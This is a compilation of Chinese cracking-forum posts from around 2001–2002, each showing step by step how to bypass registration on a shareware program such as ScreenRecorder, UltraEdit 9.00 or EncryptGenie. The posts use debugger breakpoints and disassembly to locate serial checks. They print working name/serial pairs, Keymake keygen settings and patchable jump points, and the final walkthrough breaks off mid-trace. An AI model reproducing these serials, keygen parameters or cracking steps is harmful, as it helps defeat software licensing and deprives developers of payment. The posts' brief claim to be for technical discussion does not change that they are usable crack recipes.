1、程序名称：freeRes.exe
2、添加数据：
    中断地址：4b6d95
中断次数：1
    第一字节：E8
    指令长度：5
＝＝＝＝＝＝＝＝＝
再次添加数据：
    中断地址：403ff7
中断次数：1
    第一字节：39
   指令长度：2
＝＝＝＝＝＝＝＝＝＝＝

二、选择内存方式　EAX

  先第一次运行注册信息后，再运行本注册机！一切OK！能显示40位长注册码！！！

绝密档案
http://hongjian.126.com


q_backup

 标 题:用keymake制注册机实战~高手莫入~~ (1千字)
发信人:fish[BCG]
时 间:2001-9-30 23:19:29
详细信息:
用keymake制注册机实战~高手莫入~~

软件名称：q_backup
破解人：fish[BCG]
实战录像：http://smallfishok.51.net/software/teach.exe
原版很注册机：http://person.longcity.net/home4/fish/software/q_backup.rar

先用pw32gold打开你要破解的文件，~~~~~~~废话

查找* Possible StringData Ref from Code Obj ->"注册成功，谢谢！"

向上看，找关键的CALL~呵~有多话了

:004862F5 E816DDF7FF call 00404010 >>>就这个CALL没错~
:004862FA 756D jne 00486369 >>>注册码错则跳~

“call"进去看看
:00404017 39D0 cmp eax, edx
:00404019 0F848F000000 je 004040AE

有了这么多资料可以开始制作了~

打开KEYMAKE.exe,点注册机,下面的另类注册机,或用F8,
浏览你要做注册机的软件~

写入中断4862F5,次数1,第一字节E8,指令长度5,添加好了,再写一个中断,
那就是个注册对比的中断,中断404017,第一字节39,指令长度2,添加好了,开始制作~

添加为"内存方式" 在EAX处打钩,注意这里正好是EAX,别的软件可能是别的~
当然你也可以添加你的信息,这里就不过说了~

最好点生成,看注册机就做好了~是不是很简单~

破文一编,不对的地方高手指点~转载请保持完好~谢谢`难得写文章真累啊~~~~~~~


ScreenRecorder1.2

 标 题:申请加入[BCG]的第一篇破文，新手之作，请多多指教 (6千字)
发信人:三根毛
时 间:2001-10-26 2:18:07
详细信息:
ScreenRecorder1.2注册码破解及注册机制作

作者：maomao
软件：ScreenRecorder1.2
ScreenRecorder是一个屏幕抓录软件，可自定义窗口大小和录制速度，并可同时录制声音，有多种音频属性调整，支持预览，生成AVI文件。
下载：http://www.interkodex.com/screenrecorder12.zip(1.03MB)
工具：Trw2000 v1.23 注册机编写器1.32
日期：2001-10-25

一直没好意思写破文，主要是因为本人自感水平较菜，解密高手如云。现在看到大家纷纷加入BCG和CCG，我再也坐不住了，赶紧写下第一篇申请加入组织的破文兼注册机制作过程，不足之处，望各位高手多多指点…… :)
一、注册码破解
    首先，用 Language 2000 侦测(纯属条件反射的结果)，居然没有加壳, 还是老外比较友好。
现在当然是运行ScreenRecorder了,出来一个未注册的对话框，完全在情理之中，不要理它，按下工具条上的Help按钮(居然没有菜单)，选择Enter registration code，会弹出一个注册框，OK，观察一下，有Name和Key两个再熟悉不过的输入框，看来它是根据用户名生成注册码。二话不说，在Name中输入大名maomao，Key中填1111-1111-1111-1111(从头一直按住1不放啦，省事多了*^_^* )，先不要急着按“OK”，还没到火候。
    下面，当然是祭起神兵利器TRW2000了，运行后按Ctrl+N激活，下s 30:0 l ffffffff 'maomao',在内存中寻找输入的用户名，找到地址80f6fcf2，再下bpm 30:80f6fcf2，只要注册过程一读取这个值，嘿嘿......F5退出TRW，现在按“OK”，一下子被TRW拦截，各位，请看……
0157:9EE6 F36766A5 REP MOVSD
0157:9EEA 6659 POP ECX <=========光标停在这里
0157:9EEC 6683E103 AND ECX,BYTE +03
0157:9EF0 F367A4 REP MOVSB
0157:9EF3 33D2 XOR DX,DX
0157:9EF5 33C0 XOR AX,AX
0157:9EF7 EB43 JMP SHORT 9F3C

下命令bd *，中断所有断点，再下pmodule，现在我们已经来到ScreenRecorder的领空了。
一直按着F10，大约经过7个RET后，现出注册错误对话框，下面是出错一段的代码：
0177:0048A4E0 CALL 0048A75C <=====比较注册码的call
0177:0048A4E5 TEST AL,AL
0177:0048A4E7 JZ NEAR 0048A572<=====这里跳到出错点
0177:0048A4ED LEA EAX,[EBP-0C]
0177:0048A4F0 MOV ECX,[ESI+24]
0177:0048A4F3 MOV EDX,0048A5D8
0177:0048A4F8 CALL 00403E1C
0177:0048A4FD MOV ECX,[EBP-0C]
0177:0048A500 MOV DL,01
0177:0048A502 MOV EAX,[00470288]
0177:0048A507 CALL 00471510
0177:0048A50C MOV ESI,EAX
0177:0048A50E LEA EDX,[EBP-10]
0177:0048A511 MOV EAX,[EBX+02DC]
0177:0048A517 CALL 00488554
0177:0048A51C MOV EAX,[EBP-10]
0177:0048A51F PUSH EAX
0177:0048A520 MOV ECX,0048A5E8
0177:0048A525 MOV EDX,0048A5F8
0177:0048A52A MOV EAX,ESI
0177:0048A52C MOV EDI,[EAX]
0177:0048A52E CALL NEAR [EDI+04]
0177:0048A531 LEA EDX,[EBP-14]
0177:0048A534 MOV EAX,[EBX+02E0]
0177:0048A53A CALL 0042E070
0177:0048A53F MOV EAX,[EBP-14]
0177:0048A542 PUSH EAX
0177:0048A543 MOV ECX,0048A5E8
0177:0048A548 MOV EDX,0048A604
0177:0048A54D MOV EAX,ESI
0177:0048A54F MOV EDI,[EAX]
0177:0048A551 CALL NEAR [EDI+04]
0177:0048A554 PUSH BYTE +00
0177:0048A556 MOV CX,[0048A60C]
0177:0048A55D MOV DL,03
0177:0048A55F MOV EAX,0048A618
0177:0048A564 CALL 004517A0
0177:0048A569 MOV EAX,ESI
0177:0048A56B CALL 00402E88
0177:0048A570 JMP SHORT 0048A587
0177:0048A572 PUSH BYTE +00<========出错点
0177:0048A574 MOV CX,[0048A634]
0177:0048A57B MOV DL,01
0177:0048A57D MOV EAX,0048A640
0177:0048A582 CALL 004517A0 <=======F10经过这个call就出错了
0177:0048A587 MOV EAX,EBX
0177:0048A589 CALL 00402E88
用F9对0177:0048A4E0 CALL 0048A75C设断点，按F5回到主程序，重新填写注册内容后按“OK”，光标停在这一行上，用F8跟进去，不久就跟到这里：
0177:0048A7A1 LEA EDX,[EBP-18]
0177:0048A7A4 MOV EAX,[EBP-04]
0177:0048A7A7 CALL 0040848C
0177:0048A7AC MOV EDX,[EBP-18]<=====取用户名到EDX
0177:0048A7AF LEA ECX,[EBP-14]
0177:0048A7B2 MOV EAX,EBX
0177:0048A7B4 CALL 0048A890 <=====计算真正注册码
0177:0048A7B9 MOV EAX,[EBP-14]
0177:0048A7BC LEA EDX,[EBP-10]
0177:0048A7BF CALL 0040848C
0177:0048A7C4 MOV EDX,[EBP-10]<=====真正注册码到EDX，下D EDX就可看到我的注册码
8H0G-C58T-VQAS-TT8U
0177:0048A7C7 POP EAX <=====弹出用户输入的注册码
0177:0048A7C8 CALL 00403EE0 <=====进行比较，不同则ZF=0
0177:0048A7CD SETZ AL <=====设置标志 AL=ZF，1表示注册成功，0失败
0177:0048A7D0 MOV EBX,EAX <=====存储标志
0177:0048A7D2 XOR EAX,EAX
0177:0048A7D4 POP EDX
0177:0048A7D5 POP ECX
0177:0048A7D6 POP ECX
0177:0048A7D7 MOV [FS:EAX],EDX
0177:0048A7DA PUSH DWORD 0048A7F4
0177:0048A7DF LEA EAX,[EBP-18]
0177:0048A7E2 MOV EDX,06
0177:0048A7E7 CALL 00403B74
0177:0048A7EC RET
0177:0048A7ED JMP 004035E8
0177:0048A7F2 JMP SHORT 0048A7DF
0177:0048A7F4 MOV EAX,EBX <=====取回标志
0177:0048A7F6 POP EBX
0177:0048A7F7 MOV ESP,EBP
0177:0048A7F9 POP EBP
0177:0048A7FA RET
虽然可以在“取回标志”时用mov al,1来爆破，但不知程序的其它代码段有没有陷阱，所以嘛，还是做个注册机。请看......

二、注册机的制作
运行注册机编写器(作者主页http://www.365hz.net)，按F8或选择菜单“其它”->“另类注册机”，在弹出的设置框中，进行如下设置：
1、按“浏览”按钮，选择ScreenRecorder.exe；
2、按下方“添加”铵钮，添加如下数据：
中断地址：48A7C7 <=====指定在正确注册码算出后中断(请参阅上边代码)
中断次数：2 <=====程序启动时要计算已保存的注册信息，我们忽略它，
在第二次(重新注册)时中断
第一字节：58 <=====POP EAX的指令代码第一字节
指令长度：1 <=====被中断的指令的代码长度(POP EAX是单字节代码)
3、在右边注册码选项中选择“内存方式”，并勾选其下方的单选框，选择EDX(注册码被放在EDX所指的内存中)；
4、设置用户信息(你的相关资料啦)；
5、按“生成”，输入生成的EXE文件名(放到主程序同一目录下)。
运行一下你生成的文件，哇，没有出现注册码，而ScreenRecorde已经运行了!不要紧张，现在我们来注册一下试试：输入你的大名*****，Key中随便输入一些数字或字母，按“OK”，哈哈，你的注册码已经完整的躺在注册机编写器的对话框中了!还不快使用copy->Paste大法？!
解密10分钟，写作1.5小时......现在是凌晨2:01，为了明天更好的工作，收工~~~~


UltraEdit 9.00

 标 题:我来写UltraEdit 9.00 简繁双语第二版的破解过程，谁来写注册机 (3千字)
发信人:oake
时 间:2002-1-26 14:05:40
详细信息:
程序名称：UltraEdit 9.00 简繁双语第二版
软件简介：不用说了吧
下载地址：http://202.102.249.231/hanhua/DOWNLOAD/cuedit900_2.exe
破解目的：找出注册码。
工具： Trw2000 1.22 ,w32dsm89黄金版
说明：
Uedit32 9.00和Uedit32 8.0x一样采用key文件保护方式，用的是文件Uedit32.reg。
先在Help菜单下找到Register UltraEdit-32，点击会弹出一个对话框。填入你的大名，
还有注册码。我用000000，12034-12340-12034-10234注册（注册码形式：XX0XX-XXXX0-
XX0XX-X0XXX）下断点Bpx readfile do "d esp-100",按几次F5你会在SoftICE的数据窗口看到C:\Program Files\UltraEdit\UEDIT32.reg字样，按12次F12后，按f10一步步地跟踪到下面：

* Reference To: USER32.CreateWindowExA, Ord:0059h
|
:00451608 FF1598775200 Call dword ptr [00527798]
:0045160E A3AC275700 mov dword ptr [005727AC], eax
:00451613 8D8700050000 lea eax, dword ptr [edi+00000500]
:00451619 885810 mov byte ptr [eax+10], bl
:0045161C FF352C8F5600 push dword ptr [00568F2C]
:00451622 6A01 push 00000001
:00451624 50 push eax
:00451625 FF75F0 push [ebp-10]
:00451628 E83A2BFCFF call 00414167 <--关键，跟进
:0045162D 83C410 add esp, 00000010
:00451630 85C0 test eax, eax
:00451632 0F8489010000 je 004517C1
:00451638 391D482A5700 cmp dword ptr [00572A48], ebx
:0045163E 0F857D010000 jne 004517C1

跟进上面的 call 后，一步步地跟踪到下面：

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00414181(C)
|
:0041418D 395D10 cmp dword ptr [ebp+10], ebx
:00414190 0F84DE020000 je 00414474
:00414196 83F806 cmp eax, 00000006 <--名字大于等于 6
:00414199 0F8CD5020000 jl 00414474 <--名字小于6就跳
:0041419F 8065EC00 and byte ptr [ebp-14], 00
:004141A3 8065AC00 and byte ptr [ebp-54], 00
:004141A7 80A56CFFFFFF00 and byte ptr [ebp+FFFFFF6C], 00
:004141AE 395D14 cmp dword ptr [ebp+14], ebx
:004141B1 0F84BD020000 je 00414474
:004141B7 57 push edi
:004141B8 56 push esi
:004141B9 E872620C00 call 004DA430
:004141BE 59 pop ecx

然后一步步地跟踪到下面，就到目的地了：

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041441C(C)
|
:0041443E 8D8570FFFFFF lea eax, dword ptr [ebp+FFFFFF70]
:00414444 50 push eax
:00414445 8D45B0 lea eax, dword ptr [ebp-50]
:00414448 50 push eax <--输入的注册码
:00414449 E822760C00 call 004DBA70
:0041444E 59 pop ecx
:0041444F 85C0 test eax, eax
:00414451 59 pop ecx
:00414452 7426 je 0041447A
:00414454 8D8530FFFFFF lea eax, dword ptr [ebp+FFFFFF30]
:0041445A 50 push eax <--正确的注册码
:0041445B 8D45B0 lea eax, dword ptr [ebp-50]
:0041445E 50 push eax
:0041445F E80C760C00 call 004DBA70 <--比较
:00414464 59 pop ecx
:00414465 85C0 test eax, eax
:00414467 59 pop ecx
:00414468 7410 je 0041447A
:0041446A C705648F560001000000 mov dword ptr [00568F64], 00000001

总结：

用户名：000000
授权码：B4F0J-Q901S-08R6A-A301X

标 题:更正一下：注册码形式：XXX0X-XX0XX-0XXXX-XX0XX，其实不一定要输入"0" (空)
发信人:oake
时 间:2002-1-26 14:23:12
详细信息:

标 题:没有人响应？还是我自己来一个 Keymake 1.33 的另类注册机吧。 (187字)
发信人:oake
时 间:2002-1-26 20:15:54
详细信息:

程序：Uedit32.exe
添加中断地址列表：

中断地址 451628
中断次数 1
第一字节 E8
指令长度 5

再次添加：

中断地址 41445F
中断次数 1
第一字节 E8
指令长度 5

选择内存方式：83F860


加密精灵EncryptGenie 2.2

 标 题:申请加入BCG破文3--加密精灵EncryptGenie22注册码破解及注册机制作 (5千字)
发信人:三根毛
时 间:2001-10-28 2:36:03
详细信息:
加密精灵（EncryptGenie）2.2 注册码破解及注册机制作
==============================================================
作者：maomao
软件：加密精灵（EncryptGenie）2.2
加密精灵（EncryptGenie）2.2 版是一个非常方便和容易使用的加密文件的软件，它使用CES ( Chaos Encryption Standard )加密算法加密。
下载：http://www.encryptgenie.com/cn/download/EncryptGenie.exe(632k)
说明：本软件是一款比较优秀的国产加密软件，而且只有20元的注册费，本破解的目的在于对解密技术探讨，希望大家能支持国产正版软件。

工具：Trw2000 v1.23
日期：2001-10-28
==============================================================
下载安装后未注册版有两个功能限制：
1. 未注册版最多只可以输入16个字符长的密码。注册版最多可以输入128个字符长的密码。
2. 未注册版软件在每次启动时，都显示一个启动画面。注册版可以移去这个启动画面。

破解过程：
用TRW2000载入EncryptGenie，程序运行后，弹出对话框，要求注册。输入大名maomao，再随便输入一些东东作为注册码，先不要按“注册”按钮。按下CTRL+N，被TRW中断，在TRW中输入bpx getwindowtexta(windows读取对话框中text的函数)，按F5回到EncryptGenie，现在按下“注册”，程序立刻被TRW拦截。在TRW中输入承bd *，再输入pmodule，现在已经来到EncryptGenie的领空：
==============================================================
0177:0040151D CALL EDI
0177:0040151F PUSH BYTE +1E <=====光标停在这一行
0177:00401521 PUSH DWORD 0043EA64
0177:00401526 PUSH DWORD 0415
0177:0040152B PUSH EBX
0177:0040152C CALL ESI
0177:0040152E PUSH EAX
0177:0040152F CALL EDI
0177:00401531 PUSH BYTE +02
0177:00401533 PUSH BYTE +00
0177:00401535 CALL 00418D70
0177:0040153A PUSH BYTE +00
0177:0040153C PUSH DWORD 0043EA64 <=====下D 43EA64可看到输入的注册码
0177:00401541 PUSH DWORD 0043F32C <=====下D 43F32C可看到我的大名'maomao'
0177:00401546 CALL 004288E0 <=====计算注册码的call
0177:0040154B ADD ESP,BYTE +14 ┓
0177:0040154E NEG EAX ┃ 如果注册码正确，上面的call将返回EAX=0，
0177:00401550 SBB EAX,EAX ┃ 变换后为EAX=1
0177:00401552 INC EAX ┛
0177:00401553 MOV [0043F778],EAX
0177:00401558 JZ NEAR 004015FA <=====执行到这里，被跳走你就完了
0177:0040155E MOV EDI,0043F32C
0177:00401563 OR ECX,BYTE -01
0177:00401566 XOR EAX,EAX
0177:00401568 REPNE SCASB
==============================================================
在0177:00401546 CALL 004288E0 计算注册码的一行上按F9下断点，再按F5返回EncryptGenie，这时对话框中的注册码被清空。重新输入一些数字，按“注册”按钮后，TRW中断在0177:00401546 CALL 004288E0这一行。用F8跟进去:
==============================================================
0177:004288E0 MOV EAX,[ESP+04]
0177:004288E4 SUB ESP,BYTE +28
0177:004288E7 TEST EAX,EAX
0177:004288E9 PUSH EDI
0177:004288EA JZ 00428959
0177:004288EC MOV EDI,[ESP+34]
0177:004288F0 TEST EDI,EDI
0177:004288F2 JZ 00428959
0177:004288F4 LEA ECX,[ESP+04]
0177:004288F8 PUSH ECX
0177:004288F9 PUSH EAX
0177:004288FA CALL 00428970
0177:004288FF ADD ESP,BYTE +08
0177:00428902 TEST EAX,EAX
0177:00428904 JZ 00428953
0177:00428906 PUSH EBX
0177:00428907 PUSH ESI
0177:00428908 LEA ESI,[ESP+0C] <====这里用D ESI就可看到真正的注册码'BmbqpetshwvkzynD'
0177:0042890C MOV EAX,EDI <====这里用D EDI可看到输入的注册码'1234567890'
0177:0042890E MOV DL,[EAX] ┓
0177:00428910 MOV BL,[ESI] ┃比较注册码的第一字节
0177:00428912 MOV CL,DL ┃
0177:00428914 CMP DL,BL ┛
0177:00428916 JNZ 00428936 <====不相同就跳走
0177:00428918 TEST CL,CL
0177:0042891A JZ 00428932
0177:0042891C MOV DL,[EAX+01]┓
0177:0042891F MOV BL,[ESI+01]┃比较第二字节
0177:00428922 MOV CL,DL ┃
0177:00428924 CMP DL,BL ┛
0177:00428926 JNZ 00428936 <====不相同就跳走
0177:00428928 ADD EAX,BYTE +02
0177:0042892B ADD ESI,BYTE +02
0177:0042892E TEST CL,CL
0177:00428930 JNZ 0042890E <====比较未结束则继续比较
0177:00428932 XOR EAX,EAX
0177:00428934 JMP SHORT 0042893B
==============================================================
OK，整理一下，用户名：maomao，注册码：BmbqpetshwvkzynD
==============================================================
注册机制作：
运行注册机编写器(作者主页http://www.365hz.net)，按F8或选择菜单“其它”->“另类注册机”，在弹出的设置框中，进行如下设置：
1、按“浏览”按钮，选择EncryptGenie.exe；
2、按下方“添加”铵钮，添加如下数据：
中断地址：42890E <=====指定在正确注册码算出后中断(请参阅上边代码)
中断次数：1
第一字节：8A <=====MOV DL,[EAX]的指令的第一个机器代码
指令长度：2 <=====被中断的指令的代码长度
3、在右边注册码选项中选择“内存方式”，并勾选其下方的单选框，选择ESI(注册码被放在ESI所指的内存中)；
4、设置用户信息(你的相关资料啦)；
5、按“生成”，输入生成的EXE文件名(放到主程序同一目录下)。
运行一下你生成的文件，EncryptGenie被自动运行，并要求注册，输入用户名，注册码随意，按“注册”按钮，OK，真正的注册码就跳出来了!!!

哇，写得手有点累了(刚狂聊了3小时)，好了，收工~~~~
==============================================================


敏思硬盘卫士 v2.2

 标 题:敏思硬盘卫士 v2.2破解手记 (4千字)
发信人:crackYY[CNCG]
时 间:2001-11-20 0:07:32
详细信息:
作者：crackYY[CNCG]
工具：trw2000 v1.23 keymake v1.34 FileInfo v2.45
时间：2001年11月18日

最近看雪论坛一直不太平静，时常有人在论坛发一些什么"crack们醒悟吧"，甚至骂我们这些crack是"败类"！可甚者有人冒名顶替向兄弟们发病毒，硬盘被黑（在这，我就不说是谁啦），小黑被冤枉（我相信不是他干的），就连我申请加入FCG的破解手记都被当成………
为了安全起见，我劝大家去申请hotmail邮箱，因为这个邮箱自带macfee杀毒工具，虽然空间小了些。由于看到这么多兄弟被害，所以自已也不得不提高警惕，有一些热心朋友给我来信，让我试试锁硬盘的工具，以防万一。于是，我在网上找了一个"敏思硬盘卫士 v2.2"，我曾经给我的一个朋友破过1.1版，觉得这个软件在防解密方面做的实在不怎么样，不过功能还不错，下面我就介绍一下"敏思硬盘卫士 v2.2版"的破解过程，希望能给初学者一些启发。
还是老样子，先用FI检测一下这个软件是否加壳。嗯……没有加壳，那还等什么？运行敏思硬盘卫士，点击注册，随便写几个数字，我写的是：1212121212 。再按Ctrl+N呼出trw，下断点：bpx hmemcpy ，然后按F5回到程序，点击注册，马上会被trw拦截,下命令：bc * ，清除断点，接看再下命令：pmodule ,直接跳到程序领空，这时会看到以下代码：

0167:004355A2 CALL `USER32!CallWindowProcA`
0167:004355A7 MOV [EBX+0C],EAX
0167:004355AA MOV EAX,[EBX]
0167:004355AC CMP EAX,BYTE +0C
0167:004355AF JNZ 004355CC
0167:004355B1 MOV EDX,[EBX+08]
0167:004355B4 PUSH EDX
0167:004355B5 MOV ECX,[EBX+04]
0167:004355B8 MOV EDX,EAX
0167:004355BA MOV EAX,ESI
0167:004355BC CALL 00431450
0167:004355C1 JMP SHORT 004355CC
0167:004355C3 MOV EDX,EBX
0167:004355C5 MOV EAX,ESI
0167:004355C7 CALL 00432A10

然后连续按F12，按8次后，会弹出提示注册码错误的对话框，点击确定后，trw会再次弹出，这时可看到以下代码：

0167:004A41F0 CALL 00403C1C
0167:004A41F5 RET —————————————光标停在这一行
0167:004A41F6 JMP 00403630
0167:004A41FB JMP SHORT 004A41D8
0167:004A41FD POP EBX
0167:004A41FE MOV ESP,EBP
0167:004A4200 POP EBP
0167:004A4201 RET
0167:004A4202 ADD [EAX],AL
0167:004A4204 AND BL,AL
0167:004A4206 HLT
0167:004A4207 RETF
0167:004A4208 MOV ESP,CCC5B2D3
0167:004A420D INTO
0167:004A420E ROR DL,BF

然后再按Ctrl+PageUp ，一直到出现如下代码为止：

0167:004A4169 CALL 00403FAC —————这里按F8跟进
0167:004A416E JZ 004A4193
0167:004A4170 PUSH BYTE +30
0167:004A4172 PUSH DWORD 004A4204
0167:004A4177 PUSH DWORD 004A4214
0167:004A417C PUSH BYTE +00
0167:004A417E CALL `USER32!MessageBoxA`
0167:004A4183 MOV EAX,[EBX+030C]
0167:004A4189 MOV EDX,[EAX]
0167:004A418B CALL NEAR [EDX+B0]
0167:004A4191 JMP SHORT 004A41CB
0167:004A4193 LEA EDX,[EBP-10]
0167:004A4196 MOV EAX,[EBX+030C]
0167:004A419C CALL 00431850
0167:004A41A1 MOV EDX,[EBP-10]

由于我们要进入004A4169处的Call，所以这时把光标移到这一行，按F9在这行设断点，然后按F5返回程序，接着再点击"注册"，这样trw马上会拦截004A4169处的Call，按F8跟进后，会看到如下代码：

0167:00403FA9 LEA EAX,[EAX+00]
0167:00403FAC PUSH EBX ———————在这里下命令:d edx会看到真正的注册码(0000000000)
0167:00403FAD PUSH ESI
0167:00403FAE PUSH EDI
0167:00403FAF MOV ESI,EAX
0167:00403FB1 MOV EDI,EDX
0167:00403FB3 CMP EAX,EDX
0167:00403FB5 JZ NEAR 0040404A
0167:00403FBB TEST ESI,ESI
0167:00403FBD JZ 00404027
0167:00403FBF TEST EDI,EDI
0167:00403FC1 JZ 0040402E
0167:00403FC3 MOV EAX,[ESI-04]
0167:00403FC6 MOV EDX,[EDI-04]
0167:00403FC9 SUB EAX,EDX

这时在00403FAC一行下命令：d edx 会看到:0000000000 ，然后按F5返回程序，输入：0000000000 ，注册成功。
不过还不要笑的太早，这个软件是取随机号来计算注册码的，也就是说一台电脑一个注册号，所以我们有必要做一个注册机。运行keymake,点击另类注册机，写入以下数值：

第一个中断地址：

中断地址：4A4169
中断次数：1
第一字节：E8
指令长度：5

第二个中断地址：

中断地址：403FAC
中断次数：1
第一字节：53
指令长度：1

好啦，收工！
作者：crackYY[CNCG]
QQ:20651482
E-mail:crackYY@hotmail.com


小李注册表大师 v1.11

 标 题:再谈小李注册表大师 v1.11的注册以及另类注册机的编写 －高手莫进 (4千字)
发信人:pzero
时 间:2001-10-7 16:07:14
详细信息:
题目：小李注册表大师 v1.11的注册以及另类注册机的编写
下载地址：www.csdn.net 中国共享软件中心
目的：获取注册码，并写出另类注册机。
工具：Trw2000 v1.22
首先用fi查看一下程序（习惯了），还好，没加壳。再运行一下程序，看看程序不注册有哪些限制。该程序不注册时，启动的时候会出来一个框，叫你输入注册名字和注册码。大概了解一下后，准备开工了：
方法一：（最常用的方法）
运行程序，输入注册名字和随便输入注册码，Ctrl+N呼出Trw2000，bpx hmemcpy，F5返回，点击注册，被断下来后 bc * 清除断点，pmodule返回程序领空，按F12 8次就报错，于是重来，按F12 7次，小心来到以下地方：
……
* Possible StringData Ref from Code Obj ->"key"
|
:0047F563 BADCF64700 mov edx, 0047F6DC
:0047F568 E8EB53FDFF call 00454958
:0047F56D A1D0824800 mov eax, dword ptr [004882D0]
:0047F572 8B00 mov eax, dword ptr [eax]
:0047F574 E83F4DFDFF call 004542B8
:0047F579 8D55F0 lea edx, dword ptr [ebp-10]
:0047F57C 8B83DC020000 mov eax, dword ptr [ebx+000002DC]
:0047F582 E8B106FBFF call 0042FC38
:0047F587 8B55F0 mov edx, dword ptr [ebp-10]
:0047F58A A1A8804800 mov eax, dword ptr [004880A8]
:0047F58F 8B00 mov eax, dword ptr [eax]
:0047F591 8B8064030000 mov eax, dword ptr [eax+00000364]
:0047F597 E848E4FEFF call 0046D9E4
:0047F59C 8D45FC lea eax, dword ptr [ebp-04]
:0047F59F 8B15A8804800 mov edx, dword ptr [004880A8]
:0047F5A5 8B12 mov edx, dword ptr [edx]
:0047F5A7 8B9264030000 mov edx, dword ptr [edx+00000364]
:0047F5AD 8B524C mov edx, dword ptr [edx+4C] ;<-D EDX可看到真注册码
:0047F5B0 E84344F8FF call 004039F8 ;**在此中断，写另类注册机
:0047F5B5 8D55EC lea edx, dword ptr [ebp-14]
:0047F5B8 8B83E0020000 mov eax, dword ptr [ebx+000002E0]
:0047F5BE E87506FBFF call 0042FC38
:0047F5C3 8B45EC mov eax, dword ptr [ebp-14]
:0047F5C6 8B55FC mov edx, dword ptr [ebp-04]
:0047F5C9 E82247F8FF call 00403CF0
:0047F5CE 755F jne 0047F62F ;****爆破注意点之一
:0047F5D0 8D55E4 lea edx, dword ptr [ebp-1C]
……
由于程序很简单，我也不想多讲（其实是我对算法很糊涂，呵呵），下面是另类注册机的编写：

程序名称：小李注册表大师1.11.exe
中断地址：47F5B0
中断次数：1
第一字节：EB
指令长度：5
注册码->内存方式 EDX

方法二：
考虑到程序启动肯定也要比较注册码的，而且注册码放在注册表里，于是我们换个断点来试试看：
用Trw2000 Load 该程序，下断点 bpx regqueryvalueexa，F5返回，被断下来好几次，小心找到正确断下来的地方，按F10来到如下地方：
……
* Possible StringData Ref from Code Obj ->"user"
|
:00485CFF BAE05D4800 mov edx, 00485DE0
:00485D04 8B06 mov eax, dword ptr [esi]
:00485D06 E879ECFCFF call 00454984
:00485D0B 8B55EC mov edx, dword ptr [ebp-14]
:00485D0E 8B8364030000 mov eax, dword ptr [ebx+00000364]
:00485D14 E8CB7CFEFF call 0046D9E4
:00485D19 8D4DE8 lea ecx, dword ptr [ebp-18]

* Possible StringData Ref from Code Obj ->"key"
|
:00485D1C BAF05D4800 mov edx, 00485DF0
:00485D21 8B06 mov eax, dword ptr [esi]
:00485D23 E85CECFCFF call 00454984
:00485D28 8B45E8 mov eax, dword ptr [ebp-18]
:00485D2B 8B9364030000 mov edx, dword ptr [ebx+00000364]
:00485D31 8B524C mov edx, dword ptr [edx+4C] ;<-EDX 为正确的注册码
:00485D34 E8B7DFF7FF call 00403CF0
:00485D39 752E jne 00485D69 ;***爆破注意点之二
:00485D3B 8D4DE0 lea ecx, dword ptr [ebp-20]
……
很简单吧，另类注册机如下（注意：这个注册机与前面那个用起来不一样的，必须得先运行程序，填入注册码和注册码并点击注册后才好用，而前面那个可以直接用的）：

程序名称：小李注册表大师1.11.exe
中断地址：485D34
中断次数：1
第一字节：EB
指令长度：5
注册码->内存方式 EDX

********************************
写完了，好累啊，这两天共写了4篇破文，为了加入BCG嘛，再累也不怕，呵呵。希望能对比我更菜的朋友有所帮助，祝大家每天都在进步！


中华压缩V7.0

 标 题:中华压缩V7.0破解手记 (4千字)
发信人:crackYY[CNCG]
时 间:2001-11-20 0:08:39
详细信息:
作者：crackYY[CNCG]
工具：FileInfo v2.45 TRW2000 V1.22 procdump v1.62 keymake v1.34

这个东东不注册只能用30天，每次运行都会提示你去注册它，功能方面我还不清楚，反正我也不打算用它。下面我就介绍一下它的破解经过。
首先用FI检测一下是否加了壳，我靠，是用ASPack2001加的壳。用我的Procdump脱壳（这个壳是我后加的，原版没有）。 ,请出TRW大侠上场（鼓掌呀，啊…什么东西砸我！），再请出今天的主角中华压缩（不准乱扔瓜果皮壳！）。好，现在它提示你注册啦！当然是点击注册按钮啦（不过我不打算花钱：D），用户名和注册码随便添一个就行，我写的用户名是：crackYY 注册码：78787878 ，然后Ctrl+N呼出TRW，下断点：bpx hmemcpy,再按F5把控制权交给中华压缩。接着点击确定按钮，TRW会弹出，这时看到的是系统的领空，所以下命令:bc * 清除断点,再下命令:pmodule 直接跳到程序的领空，这时会看到如下代码：

0167:00436D0E CALL `USER32!CallWindowProcA`
0167:00436D13 MOV [EBX+0C],EAX
0167:00436D16 MOV EAX,[EBX]
0167:00436D18 CMP EAX,BYTE +0C
0167:00436D1B JNZ 00436D38
0167:00436D1D MOV EDX,[EBX+08]
0167:00436D20 PUSH EDX
0167:00436D21 MOV ECX,[EBX+04]
0167:00436D24 MOV EDX,EAX
0167:00436D26 MOV EAX,ESI
0167:00436D28 CALL 00432B24
0167:00436D2D JMP SHORT 00436D38
0167:00436D2F MOV EDX,EBX
0167:00436D31 MOV EAX,ESI
0167:00436D33 CALL 004340F4

由于我们下的断点是:bpx hmemcpy ，所以要继续向下走，一直找到出错的地方，然后再后再向回分析，找到正确的注册码。按7次F12（超过7次就会出错），然后再向下分析：

0167:00432F51 POP EBX
0167:00432F52 RET
0167:00432F53 NOP
0167:00432F54 PUSH EBP
0167:00432F55 MOV EBP,ESP
0167:00432F57 PUSH BYTE +00
0167:00432F59 PUSH EBX
0167:00432F5A PUSH ESI
0167:00432F5B MOV ESI,EDX
0167:00432F5D MOV EBX,EAX
0167:00432F5F XOR EAX,EAX
0167:00432F61 PUSH EBP
0167:00432F62 PUSH DWORD 00432FA9
0167:00432F67 PUSH DWORD [FS:EAX]
0167:00432F6A MOV [FS:EAX],ESP
0167:00432F6D LEA EDX,[EBP-04]
0167:00432F70 MOV EAX,EBX
0167:00432F72 CALL 00432F24
0167:00432F77 MOV EAX,[EBP-04]
0167:00432F7A MOV EDX,ESI
0167:00432F7C CALL 0040411C

按F10来到如下代码处：

0167:004F4DBF CALL 00432F24
0167:004F4DC4 MOV EAX,[EBP-08]
0167:004F4DC7 PUSH EAX
0167:004F4DC8 LEA EDX,[EBP-10]
0167:004F4DCB MOV EAX,[EBX+02E0]
0167:004F4DD1 CALL 00432F24
0167:004F4DD6 MOV EDX,[EBP-10]
0167:004F4DD9 LEA ECX,[EBP-0C]
0167:004F4DDC MOV EAX,EBX
0167:004F4DDE CALL 004F4FAC
0167:004F4DE3 MOV EDX,[EBP-0C]
0167:004F4DE6 POP EAX
0167:004F4DE7 CALL 0040411C 这里按F8进入
